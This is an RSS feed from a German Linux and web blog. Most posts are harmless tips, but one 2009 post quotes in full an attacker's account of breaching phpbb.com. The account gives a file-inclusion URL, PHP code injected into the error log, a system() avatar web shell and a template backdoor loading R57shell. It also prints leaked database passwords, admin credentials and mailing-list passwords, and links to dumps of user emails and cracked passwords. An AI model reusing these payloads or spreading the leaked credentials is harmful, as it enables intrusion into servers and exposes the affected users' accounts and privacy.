<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AE-35 Unit &#187; Hello World</title>
	<atom:link href="http://ae35.de/category/hello-world/feed/" rel="self" type="application/rss+xml" />
	<link>http://ae35.de</link>
	<description>Its going to go 100 percent failure within 72 hours</description>
	<lastBuildDate>Sat, 29 Oct 2011 21:15:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Hoteky zum Löschen von Dateien in Nautilus ändern</title>
		<link>http://ae35.de/2011/10/29/hoteky-zum-loschen-von-dateien-in-nautilus-andern/</link>
		<comments>http://ae35.de/2011/10/29/hoteky-zum-loschen-von-dateien-in-nautilus-andern/#comments</comments>
		<pubDate>Sat, 29 Oct 2011 11:30:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hello World]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[tipp]]></category>

		<guid isPermaLink="false">http://ae35.de/?p=482</guid>
		<description><![CDATA[In einer der neueren Gnome Nautilus Versionen wurde der Hotkey zum Löschen bzw. in den Papierkorb verschieben von Entf zu Strg + Entf geändert. Ziemlich bescheuerte Idee wenn man mich fragt, da es völlig kontra intutitiv ist solange in allen &#8230; <a href="http://ae35.de/2011/10/29/hoteky-zum-loschen-von-dateien-in-nautilus-andern/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>In einer der neueren Gnome Nautilus Versionen wurde der Hotkey zum Löschen bzw. in den Papierkorb verschieben von <code>Entf</code> zu <code>Strg + Entf</code> geändert. Ziemlich bescheuerte Idee wenn man mich fragt, da es völlig kontra intutitiv ist solange in allen anderen Programmen mit <code>Ent</code> gelöscht wird. </p>
<p>Zum Glück kann das Verhalten theoretisch geändert werden, indem man per dconf-editor oder gsettings <code>org.gnome.desktop.interface can-change-accels</code> kurzfristig auf <code>true</code> setzt und mit der Maus über das  Nautilus Menu <em>Bearbeiten -> In den Müll verschieben</em> fährt und dann zweimal <code>Entf</code> drückt (siehe auch diese <a href="http://alexsleat.co.uk/2011/06/11/gnome-3-delete-key-not-deletingworking-in-nautilus/">bebilderte Schritt für Schritt Anleitung</a>).</p>
<p>Leider kann es sein, dass die Einstellung nicht gespeichert werden. Falls das der Fall ist, kann es helfen das Verzeichnis <code>$HOME/.gnome2/accels/</code> anzulegen (der Tipp kommt übrigens mal wieder aus dem exzellenten <a href="https://bbs.archlinux.org/viewtopic.php?id=116609">Arch Forum</a>).</p>
<p>Dieser kleine Fehler hat mich mal wieder ne halbe Stunde Suchzeit gekostet und ich hoffe, dass der bald gefixt wird. Aber vielleicht kann dieser Tipp solange noch dem einen oder anderen helfen.</p>
]]></content:encoded>
			<wfw:commentRss>http://ae35.de/2011/10/29/hoteky-zum-loschen-von-dateien-in-nautilus-andern/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Standardprogramme ändern (default applications)</title>
		<link>http://ae35.de/2011/10/22/linux-standardprogramme-andern-default-applications/</link>
		<comments>http://ae35.de/2011/10/22/linux-standardprogramme-andern-default-applications/#comments</comments>
		<pubDate>Sat, 22 Oct 2011 19:15:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hello World]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mime]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[tipp]]></category>

		<guid isPermaLink="false">http://ae35.de/?p=472</guid>
		<description><![CDATA[Kurzversion: Um unter Linux Standardprogramme für mehrere MIME Types gleichzeit zu verändern, bietet sich das in Python implementiere Programm mimeo an. Um beispielsweise alle Videodateien mit VLC zu öffnen kann folgender Befehl genutzt werden: mimeo --prefer glob:video/* vlc.desktop Ich spiele &#8230; <a href="http://ae35.de/2011/10/22/linux-standardprogramme-andern-default-applications/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>Kurzversion:</strong><br />
Um unter Linux Standardprogramme für mehrere MIME Types gleichzeit zu verändern, bietet sich das in Python implementiere Programm <a href="http://xyne.archlinux.ca/projects/mimeo/">mimeo</a> an.</p>
<p>Um beispielsweise alle Videodateien mit VLC zu öffnen kann folgender Befehl genutzt werden:</p>
<p><pre>mimeo --prefer glob:video/* vlc.desktop</pre></p>
<p><span id="more-472"></span></p>
<hr />
<p>Ich spiele derzeit ja mit <a href="http://www.archlinux.org/">Arch Linux</a> herum. Einer Linux Distribution bei der nur das Notwendigste automatisiert oder festgelegt ist und die einem somit sehr viel Raum für eigene Einstellungen und Erfahrungen mit der Funktionsweise eines Linux Systems lässt. Durchauch eine Empfehlung für alle die gerne mit Computern rumspielen.</p>
<p>Leider stößt man dann aber auch öfters mal an die Grenzen guter Bedienbarkeit. Bei mir beipsielsweise geschehen, als ich entschied einen anderen Video-Player zu nutzen.</p>
<p>Am Anfang gab es noch kein wirkliches Problem: ich hatte gnome-mplayer installiert und die Videos wurden auch damit gestartet. Schwierig wurde es erst, nachdem ich VLC als Standard nutzen wollte. Denn leider gibt es in Gnome keine Funktion um für mehrere Dateitypen (bzw. eigentlich <a href="http://en.wikipedia.org/wiki/Internet_media_type">MIME Types</a>) gleichzeit das Standardprogramm zu ändern. Es ist zwar möglich pro Typ über den Reiter &#8220;Öffnen mit&#8221; in den Dateieigenschaften den Standard zu ändern, aber das nervt ziemlich, wenn bei neuen Typen jedesmal zuerst das alte Programm aufspringt.</p>
<p>Natürlich ist das alles anpassbar. Beispielsweise findet sich im Arch Wiki eine <a href="https://wiki.archlinux.org/index.php/Default_Applications">grundsätzliche Erklärung zu Standardprogrammen</a> und für Ubuntu gibt es sogar eine <a href="http://www.johannes-eva.net/change-the-default-application-ubuntu-linux">Schritt für Schritt Anleitung mit Screenshots</a>, die erklärt welche Daten von Hand wie verändert werden müssen (in Arch existiert die Datei <code>/usr/share/applications/defaults.list</code> übrigens nicht, kann aber über das <a href="https://aur.archlinux.org/packages.php?ID=23170">AUR Paket gnome-defaults-list</a> nachinstalliert werden).</p>
<p>Obwohl die vorgestellte Lösung funktioniert, fand ich sie doch etwas umständlich und hatte mir eignetlich etwas automatisches und robusteres gewünscht. Da ich erstmal kein Programm finden konnte, welches das tut was ich wollte, war ich schon kurz davor selbst etwas zu programmieren. Zum Glück bin ich dann aber dohc noch über <a href="http://xyne.archlinux.ca/projects/mimeo/">mimeo</a gestolpert, das zwar noch mehr kann sich aber auch super dafür eignet für mehrere MIME Types gleichzeitig die Standardanwendung zu ändern. </p>
<p>Um beispielsweise alle Videodateien mit VLC zu öffnen kann folgender Befehl genutzt werden:</p>
<p><pre>mimeo --prefer glob:video/* vlc.desktop</pre></p>
<p>Jetzt brauchts eigentlich nur noch ne nette kleine GUI dafür und vielleicht setz ich mich da irgendwann noch ran. Wollte ja eh mal was mit Python programmieren. Allerdings ist mein Problem nun erstmal gelöst und wie ich mich kenne wird das Projekt also erstmal wieder auf die Lange Bank geschoben.</p>
]]></content:encoded>
			<wfw:commentRss>http://ae35.de/2011/10/22/linux-standardprogramme-andern-default-applications/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>phpbb.com gehacked über phplist lücke?</title>
		<link>http://ae35.de/2009/02/01/phpbbcom-gehacked-ueber-phplist-luecke/</link>
		<comments>http://ae35.de/2009/02/01/phpbbcom-gehacked-ueber-phplist-luecke/#comments</comments>
		<pubDate>Sun, 01 Feb 2009 12:30:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hello World]]></category>

		<guid isPermaLink="false">http://ae35.de/?p=227</guid>
		<description><![CDATA[Eben kam die folgende E-Mail bei mir an. Darin wird beschrieben wie ein vermeintlicher Hack der phpbb.com Foren über eine Lücke im phplist Script durchgeführt wurde. Ich weiß nicht ob das wirklich authentisch ist, aber auf den ersten Blick scheint &#8230; <a href="http://ae35.de/2009/02/01/phpbbcom-gehacked-ueber-phplist-luecke/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Eben kam die folgende E-Mail bei mir an. Darin wird beschrieben wie ein vermeintlicher Hack der phpbb.com Foren über eine Lücke im phplist Script durchgeführt wurde. Ich weiß nicht ob das wirklich authentisch ist, aber auf den ersten Blick scheint es durchaus zu stimmen. phpbb.com ist down und die verlinkten SQL Dumps auf rapidshare wurden schon gemeldet. Komisch ist nur, dass noch niemand darüber berichtet hat. ich bin mal gespannt was noch passiert und werde am Ball bleiben.</p>
<p><strong>Update:</strong> Der Hack scheint wirklich so stattgefunden zu haben. Zumindest wurde er vom phpbb Team per <a href="http://twitter.com/phpbb/status/1166533735">Twitter bestätigt</a>.</p>
<p>Die E-Mail mit Erklärungen zur Vorgehensweise gibts in der Vollansicht des Artikels oder auf der Seite <a href="http://hackedphpbb.blogspot.com/" target="_blank">http://hackedphpbb.blogspot.com/</a></p>
<p><span id="more-227"></span></p>
<blockquote><p><a href="http://hackedphpbb.blogspot.com/" target="_blank">http://hackedphpbb.blogspot.com/</a></p>
<p>It all started on Jan 14th when I was surfing milw0rm and came across<br />
this exploit: <a href="http://www.milw0rm.com/exploits/7778" target="_blank">http://www.milw0rm.com/exploits/7778</a><br />
I then remembered that <a href="http://phpbb.com/" target="_blank">phpbb.com</a> was running PHPlist and went<br />
looking through my email to find the link to the script’s location.<br />
So I went to <a href="http://phpbb.com/lists" target="_blank">phpbb.com/lists</a> and sure enough they were running a<br />
vulnerable version. Next I enabled my favorite program proxy program<br />
and tried<br />
<a href="http://www.phpbb.com/lists/admin/index.php?_SERVER=../../../../../../etc/passwd" target="_blank">http://www.phpbb.com/lists/admin/index.php?_SERVER=../../../../../../etc/passwd</a><br />
&lt;../../index.php?_SERVER%</p>
<div id=":e5" class="ArwC7c ckChnd">5bConfigFile%5d=../../../../../../etc/passwd&gt;<br />
and sure enough it included the etc/passwd</p>
<p><a href="http://hackedphpbb.pastebin.com/f70f8bcaf" target="_blank">http://hackedphpbb.pastebin.com/f70f8bcaf</a></p>
<p><a href="http://rapidshare.com/files/192159914/etc.txt" target="_blank">http://rapidshare.com/files/192159914/etc.txt</a></p>
<p>So I moved on to /etc/httpd/conf/httpd.conf</p>
<p><a href="http://rapidshare.com/files/192163061/httpd.txt" target="_blank">http://rapidshare.com/files/192163061/httpd.txt</a></p>
<p><a href="http://hackedphpbb.pastebin.com/d29d8d4c7" target="_blank">http://hackedphpbb.pastebin.com/d29d8d4c7</a></p>
<p>And eventually found my way to their error log<br />
/home/logs/<a href="http://phpbb.com/error_log" target="_blank">phpbb.com/error_log</a>. After a little looking I figured out<br />
that their forums were running off /home/virtual/<a href="http://phpbb.com/community/" target="_blank">phpbb.com/community/</a><br />
well it has been known for some time that you can include code in the<br />
error log. So I wanted to run some code, well in PHPBB3 the avatars<br />
are located in a folder called<br />
/home/virtual/<a href="http://phpbb.com/community/images/avatars/upload" target="_blank">phpbb.com/community/images/avatars/upload</a> and your<br />
avatar is called (secret hash)_userid.jpg. But I didn’t know what<br />
the secret has was to include my picture (that had my own code in it)<br />
so by using the error log I injected code &lt;?php system(&#8220;ls<br />
/home/virtual/<a href="http://phpbb.com/community/images/avatars/upload" target="_blank">phpbb.com/community/images/avatars/upload</a>&#8220;) ?&gt;</p>
<p>And figured out that their hash is f51ee61fe7a83fdf72780912bced0855.<br />
So now every time I want to upload run code against the server I can<br />
include this:<br />
/../../../../../../home/virtual/<a href="http://phpbb.com/community/images/avatars/upload/f51ee61fe7a83fdf72780912bced0855_ID.jpg" target="_blank">phpbb.com/community/images/avatars/upload/f51ee61fe7a83fdf72780912bced0855_ID.jpg</a></p>
<p>So my first avatar was something simple &lt;?php system($_POST(&#8220;c&#8221;)); ?&gt;<br />
and I wanted to see if phpbb kept their config file in plain text so<br />
cat /home/virtual/<a href="http://phpbb.com/community/config.php" target="_blank">phpbb.com/community/config.php</a> and sure enough, its<br />
in plain text.</p>
<p>$dbms = &#8216;mysqli&#8217;;</p>
<p>$dbhost = &#8216;<a href="http://phpbb.db.osuosl.org/" target="_blank">phpbb.db.osuosl.org</a>&#8216;;</p>
<p>$dbport = &#8221;;</p>
<p>$dbname = &#8216;phpbb&#8217;;</p>
<p>$dbuser = &#8216;phpbb2&#8242;;</p>
<p>$dbpasswd = &#8216;saxM9nfRjLbJ2Yy5&#8242;;</p>
<p>$table_prefix = &#8216;community_&#8217;;</p>
<p>While I was at it I checked out the config for PHPlist and it was<br />
also in plain text:</p>
<p>$database_host = &#8220;localhost&#8221;;</p>
<p>$database_name = &#8220;phpbb_phplist&#8221;;</p>
<p>$database_user = &#8216;phplist&#8217;;</p>
<p>$database_password = &#8216;Berti3_Danc3&#8242;;</p>
<p>So I started running commands and found out that I can upload a php<br />
text file on the forums and by finding where the path it was stored I<br />
was able to get around their 14kb restrictions on avatars and a lot<br />
easier than editing images with edjpgcom. So doing a mysql dump of the<br />
phplist_admin table it showed in plain text that the password for the<br />
one admin account was phpbb_n3ws and the login was phpBB. Wow I am<br />
shocked no one brute forced this. So I login and see what I can come<br />
across, wow 400,000 registered emails, I’m sure that will go quick<br />
on the black market, sorry people but expect a lot of spam. After<br />
trying to modify the files that were stored in PHPlist I gave up and<br />
moved on to the forums. But not before dumping the PHPlist emails<br />
here: <a href="http://rapidshare.com/files/192305758/out.txt" target="_blank">http://rapidshare.com/files/192305758/out.txt</a></p>
<p>On the phpbb forums it states it has 200,000 members, but due to them<br />
constantly getting spammed they have well over 400,000 accounts. I<br />
started dumping the community_users table with their user_id, username<br />
and user_password. PHPBB stores their user’s passwords in unsalted<br />
md5 and their admin’s passwords in some funky hash. But if you run<br />
your own forum and are an admin you can have your forums create the<br />
hash, and then you do an mysql update to one of the admin account’s<br />
and your in. Or if you change their password to yours you can use the<br />
recover password function. More to come from this later.</p>
<p>So I wrote a script that submits via curl, the md5 hash to a website<br />
and then stores the successful result in my own mysql database. The<br />
total accounts cracked are: 28635. I could have continued cracking but<br />
it was getting boring. Here is a sql file of the cracked passwords.<br />
Warning, some of the user name’s aren’t right as I had to remove<br />
ticks and quotes for it to run in my script, so I included their user<br />
id so you can check their proper login name.</p>
<p><a href="http://rapidshare.com/files/192304153/phpbb_users.sql" target="_blank">http://rapidshare.com/files/192304153/phpbb_users.sql</a></p>
<p>In gaining access to the admin panel of the forums, I was able to<br />
read staff forums and come across some interesting posts. I will share<br />
some with you.</p>
<p>List passwords:</p>
<p>TO try and make this easier, below is a list of the mailing list<br />
passwords I had, please update and add any others that you have</p>
<p><a href="mailto:captcha-commits@lists.phpbb.com">captcha-commits@lists.phpbb.com</a> 54a946c47dd434b2</p>
<p><a href="mailto:catdb-commits@lists.phpbb.com">catdb-commits@lists.phpbb.com</a> 6f543db8f086e11f</p>
<p><a href="mailto:convertors-commits@lists.phpbb.com">convertors-commits@lists.phpbb.com</a> c192b68baacc8842</p>
<p><a href="mailto:documentation-commits@lists.phpbb.com">documentation-commits@lists.phpbb.com</a> f85ffcdf9262420c</p>
<p><a href="mailto:easymod-commits@lists.phpbb.com">easymod-commits@lists.phpbb.com</a> 5db5bf75be85191b</p>
<p><a href="mailto:kbase-commits@lists.phpbb.com">kbase-commits@lists.phpbb.com</a> 7c843188ed2f6021</p>
<p><a href="mailto:modteam-commits@lists.phpbb.com">modteam-commits@lists.phpbb.com</a> 533aeefe56bfa30c</p>
<p><a href="mailto:prosilver-commits@lists.phpbb.com">prosilver-commits@lists.phpbb.com</a> 859785a9cc724e03</p>
<p><a href="mailto:website-commits@lists.phpbb.com">website-commits@lists.phpbb.com</a> 3c79b9864ae5ce43</p>
<p><a href="mailto:phpbb-honey-commits@lists.phpbb.com">phpbb-honey-commits@lists.phpbb.com</a> 7e9563750650e4c4</p>
<p><a href="mailto:st-tool-commits@lists.phpbb.com">st-tool-commits@lists.phpbb.com</a> 534d4a9b74bb77aa</p>
<p><a href="mailto:iit-track-commits@lists.phpbb.com">iit-track-commits@lists.phpbb.com</a> 8f318ffd3a2067c8</p>
<p><a href="mailto:packagemanager-commits@lists.phpbb.com">packagemanager-commits@lists.phpbb.com</a> 81657892dddafdca</p>
<p><a href="mailto:moddocs-commits@lists.phpbb.com">moddocs-commits@lists.phpbb.com</a> 85c837b7f78e5435</p>
<p>Told you they were random Meik ;)</p>
<p>edit by dhn: added website-commits</p>
<p>edit by tm: added phpbb-honey-commits, st&#8211;tool-commits,<br />
iit-track-commits.</p>
<p>8kg;rt7Xykjq</p>
<p>That password should work for all mailing lists on <a href="http://code.phpbb.com/" target="_blank">code.phpbb.com</a>.</p>
<p>Emergency contacts and irc info:</p>
<p><a href="http://hackedphpbb.pastebin.com/f1399b3e8" target="_blank">http://hackedphpbb.pastebin.com/f1399b3e8</a></p>
<p>And then I remembered that the admin panel allows you to dump tables.<br />
So I dumped the users table which is accessible here:</p>
<p><a href="http://rapidshare.com/files/192261517/backup_sql.gz" target="_blank">http://rapidshare.com/files/192261517/backup_sql.gz</a></p>
<p>Next I enabled php in template files and added this bit of code to<br />
one of the templates:</p>
<p>&lt;!&#8211; PHP &#8211;&gt;$ip=$_SERVER['REMOTE_ADDR']; if($ip ==<br />
&#8220;x.x.x.x&#8221;){include(&#8220;/home/virtual/<a href="http://phpbb.com/community/files/%28myid%29_82ec9f9eb80df2a16cc3638429631c9f" target="_blank">phpbb.com/community/files/(myid)_82ec9f9eb80df2a16cc3638429631c9f</a>&#8220;);}&lt;!&#8211;<br />
ENDPHP &#8211;&gt;</p>
<p>Which happened to be a shell, R57shell actually. I then searched for<br />
a writable directory and created a php file and wrote the source code<br />
to that file. I cleaned up the template and settings and logs and left<br />
the forums to run the way they were.</p>
<p>After searching around using the shell I came across the Blog<br />
settings:</p>
<p>define(&#8216;DB_NAME&#8217;, &#8216;wordpress&#8217;); // The name of the database</p>
<p>define(&#8216;DB_USER&#8217;, &#8216;blog&#8217;); // Your MySQL username</p>
<p>define(&#8216;DB_PASSWORD&#8217;, &#8216;htsCCvyCnt5jPYMx&#8217;); // &#8230;and password</p>
<p>define(&#8216;DB_HOST&#8217;, &#8216;localhost&#8217;); // 99% chance you won&#8217;t need to<br />
change this value</p>
<p>define(&#8216;DB_CHARSET&#8217;, &#8216;utf8&#8242;);</p>
<p>define(&#8216;DB_COLLATE&#8217;, &#8221;);</p>
<p>And now it comes to an end, you may ask why did I do this? For fun<br />
mainly, but what I would like to suggest to the team at phpbb is this.<br />
If you are going to run third party scripts, either integrate them or<br />
keep up to date on their patches. (even though the patch wasn’t<br />
released for 2 weeks). Also don’t allow admin’s to recover their<br />
passwords, they should have to contact another admin. Another item,<br />
doesn’t keep plain text files of passwords or in the database plain<br />
text passwords.</p>
<p>I know this isn’t the best read, but it is very hard to look back<br />
on everything you did over the course of a few weeks. But hopefully I<br />
can now sleep better knowing that I am not worrying about the next way<br />
to break in.</p>
<p>&#8212;-<br />
To unsubscribe from this list visit<br />
<a href="http://www.phpbb.com/lists/?p=unsubscribe&amp;uid=6046d47749e13adaf48df361e9fa25bb" target="_blank">http://www.phpbb.com/lists/?p=unsubscribe&amp;uid=6046d47749e13adaf48df361e9fa25bb</a></p>
<p>&#8211;<br />
Powered by PHPlist, <a href="http://www.phplist.com/" target="_blank">www.phplist.com</a> &#8211;</div>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://ae35.de/2009/02/01/phpbbcom-gehacked-ueber-phplist-luecke/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Naja Ajax I: Paging</title>
		<link>http://ae35.de/2008/08/23/naja-ajax-i-paging/</link>
		<comments>http://ae35.de/2008/08/23/naja-ajax-i-paging/#comments</comments>
		<pubDate>Sat, 23 Aug 2008 18:38:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hello World]]></category>

		<guid isPermaLink="false">http://ae35.de/?p=92</guid>
		<description><![CDATA[Ich mag Ajax ja. Zumindest meistens. Ich mags aber gar nicht, wenns nur genutzt wird, weil man eben so nen schönen sich drehenden Kreis auf der Seite haben will und die Frage nach dem Sinn dabei einfach außen vor gelassen &#8230; <a href="http://ae35.de/2008/08/23/naja-ajax-i-paging/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Ich mag <a href="http://en.wikipedia.org/wiki/AJAX">Ajax</a> ja. Zumindest meistens. Ich mags aber gar nicht, wenns nur genutzt wird, weil man eben so nen schönen sich drehenden Kreis auf der Seite haben will und die Frage nach dem Sinn dabei einfach außen vor gelassen wird. Zum Beispiel beim Paging des zentralen Seiteninhalts, also der Navigation durch mehrere Seiten wie beispielsweise Produktlisten. Existierende Beispiele <a href="http://www.telebid.de/brw/alle-live-auktionen_0.html?ast=1">hier</a> und <a href="http://www.a-better-tomorrow.com/customer/show_products_by_shop/1-a-better-tomorrow">da</a> begutachtet werden.</p>
<p>In diesen Fällen bringt der Einsatz von Ajax keinen direkten Gewinn. Denn als Benutzer will und erwarte ich beim Klick auf die Seitenzahl das eine neue Seite aufgerufen wird.  Und ein Vorteil bezüglich der Geschwindigkeit dürfte, wenn überhaupt, äußerst gering ausfallen.<br />
Auf der anderen Seite verliert man durch das dynamisch Laden gewöhnlich die Vor- und Zurück-Funktion des Browsers. Diese werden intutitv öfters genutzt um in einer Liste eine Seite zurückzugehen als die Navigation der Webseite. Zudem wird der Aufruf der Seite über diese Funktionen durch den Browsercache immens beschleunigt.<br />
Beim Ajax-Paging wird die Scrollposition des Browser in der Regel nicht verändert. Daher muss man nachdem die folgende Seite geladen wurde entweder manuell nach oben an den Anfang der Liste scrollen oder, entgegen jeglicher Gewohnheit, die Liste von unten nach oben durchsehen. Das sind keinesfalls ergonomische Lösungen.<br />
Und letztlich können über Ajax geladene Seiten weder an der richtigen Position verlinkt, noch als Lesezeichen gespeichert werden.</p>
<p>In Anbetracht dieser Nachteile, stellt sich m.E. begürndet die Frage, wieso hier Ajax eingesetzt werden sollte und es drängt sich mir einfach der Eindruck der Effekthascherei auf.<br />
Dabei kann Ajax-Paging auch durchaus sinnvoll sein.  Zum Beispiel bei mehrseitigen Listen am Seitenrand wie Links, Kommentaren oder Toplisten.  Hier wird nur eine kleine Information nachgeladen und der Benutzer will die eigentliche Seite in der Regel nicht verlassen.<br />
Für den gesamten Seiteninhalt ist der Einsatz dynamischer Techniken jedoch eher zweifelhaft.</p>
]]></content:encoded>
			<wfw:commentRss>http://ae35.de/2008/08/23/naja-ajax-i-paging/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

